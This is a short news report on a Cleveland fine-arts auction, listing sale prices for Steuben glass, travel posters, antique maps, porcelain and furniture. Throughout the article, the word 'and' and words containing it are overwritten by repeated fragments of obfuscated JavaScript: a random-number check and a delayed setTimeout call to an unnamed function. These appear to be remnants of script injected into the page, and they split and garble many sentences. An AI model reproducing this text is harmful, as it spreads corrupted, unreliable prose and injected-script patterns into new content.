By: Victoria Winslow

CLEVELAND, OHIO — Rachel Davis Fine Arts’ May 10 auction offered some great, fresh-to-the-market items in a number of categories. The top lot was a KPM porcelain plaque, depicting an interior scene, that achieved $8,470 from a New York collector. The total tally for the sale was $190,000, with an 86 percent sell-through rate.

A collection of Steuben glass which came from the home of a lady who was downsizing from Ashtabula, Ohio, did very well. Her husbandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and bought a piece for her for every holiday andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a total of 35 pieces were offered. Many were rare, limited edition sculptures. Highlights included “Autumn Moon,” 1974, designed by James Houston, 28/30 that sold for $6,050; “Diving Seals,” also by Houston, from a limited edition of ten, which achieved $5,015; “Arctic Fisherman,” with rhodium-plated sterling silver, marked Steuben JAH, that finished at $2,714. All had minor chips, which did not bother potential buyers, as these were easily polished out.

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A striking “Zermatt Switzerlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Gornergrat” lithographic poster, 1928, by Sauberlin andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Pfeiffer sold for an impressive $4,130. A Twentieth Century Russian travel poster “Big Game Hunting in the USSR,” despite minor tears andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and staining, finished at $1,416, while another Russian poster, “See USSR,” sold for $944. Both are heading back to Russia.

Top lot among the Speede maps was an Italian map, complete with “Descriptions of Italy” on verso, Roger Rea, 1665, selling for $1,416. A Frank Dorn folding picture map of Peiping Peking Beijing China, 1936, found at a house sale by a local picker, was a nice surprise at $1,936. A poster after Andy Warhol, “Flowers,” 1964, Leo Castelli Gallery, was a good buy at $605, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and came from the same institution as the maps andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and travel posters.

Other notables included a pair of stylish Christofle plated metal “Dog” salts with spoons, circa 1930, just 2½ inches high, achieved $1,028. Fourteen Republic of China coin holders from Baldwin Wallace University collection, found in the back of a storage unit, went for $4,235. A beautiful Arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Crafts British sideboard, purchased by the consignor’s mother in Scotlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in the 1960s, sold to a local collector for $4,425. A signed 75-inch Arden Riddle sofa did well at $1,725.

All prices reported include buyer’s premium. For more information, 216-939-1190 or www.racheldavisfinearts.com.